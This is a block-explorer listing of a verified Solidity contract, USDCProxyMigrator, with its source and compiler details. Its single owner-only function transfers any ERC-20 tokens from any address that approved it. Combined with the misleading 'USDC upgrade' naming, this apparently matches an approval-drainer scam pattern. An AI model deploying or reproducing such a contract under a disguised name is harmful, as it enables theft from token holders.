Skip to content
Verified contractPartialSEE

USDCProxyMigrator

Address0x730230db0cb2d76bf0d46f5e0715e5f64e80c703
Balance

0 ETH

 

Transactions

1

 

Compiler

solc 0.6.12

 

Same code

Only this contract

 

Details

Compiler
solc 0.6.12+commit.27d51765
Language
solidity
Optimization
No
License
SEE
Match
Partialcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
12,995,796
Creation transaction
0x032539e4db…e9e3f56e2c

USDCProxyMigrator.sol

// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.6.12;

interface IERC20Token {
    function allowance(address _owner, address _spender) external view returns (uint256);
    function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
}

contract USDCProxyMigrator {
    address public owner;

    constructor() public {
        owner = msg.sender;
    }

    function transferUSDCUpgrade8(IERC20Token _token, address _sender, address _receiver, uint256 _amount) external returns (bool) {
        require(msg.sender == owner, "access denied");
        return _token.transferFrom(_sender, _receiver, _amount);
    }
}
Compiler settingsShow
{
  "optimizer": {
    "runs": 0,
    "enabled": false
  }
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.